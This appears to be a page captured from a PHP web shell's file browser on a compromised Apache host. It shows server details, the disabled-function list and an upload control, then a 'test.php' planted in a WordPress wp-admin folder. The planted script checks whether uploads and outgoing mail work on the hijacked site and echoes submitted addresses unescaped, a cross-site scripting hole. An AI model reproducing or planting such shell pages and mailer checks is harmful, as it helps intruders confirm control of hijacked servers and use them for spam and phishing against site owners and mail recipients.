HEX
Server: Apache/2
System: Linux saturn 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: centuryt (1072)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/centuryt/public_html/wp-admin/test.php
<?php
// Enable error reporting for debugging purposes (remove in production)
error_reporting(E_ALL);
ini_set('display_errors', 1);

// Initialize variables for default email values
$defaultEmail1 = "";
$defaultEmail2 = "";

// Define a function to send an email with error handling
function sendEmail($to, $subject, $message) {
    if (mail($to, $subject, $message)) {
        return true;
    } else {
        return false;
    }
}

?>

<!-- Display a message indicating that upload is working -->
Upload is <b><span style="color: green">WORKING</span></b><br>

<!-- Display a message indicating that email checking is in progress -->
Check Mailing ..<br>

<!-- Create a form for users to input email addresses -->
<form method="post">
    <input type="text" name="email1" value="<?php echo $defaultEmail1; ?>" required>
    <input type="text" name="email2" value="<?php echo $defaultEmail2; ?>" required>
    <input type="submit" value="Send test >>">
</form>
<br>

<?php
// Check if the form has been submitted and both email fields are filled
if (!empty($_POST['email1']) && !empty($_POST['email2'])) {
    $xx = mt_rand(); // Generate a random number

    // Send emails and handle errors
    if (sendEmail($_POST['email1'], "Result Report Test - " . $xx, "WORKING !") &&
        sendEmail($_POST['email2'], "Result Report Test - " . $xx, "WORKING !")) {
        // Display a success message along with the email addresses
        echo "<b>Successfully sent a report to [" . $_POST['email1'] . "] and [" . $_POST['email2'] . "] - $xx</b>";
    } else {
        // Display a failure message if sending emails failed
        echo "<b>Failed to send a report to [" . $_POST['email1'] . "] and/or [" . $_POST['email2'] . "]</b>";
    }
}
?>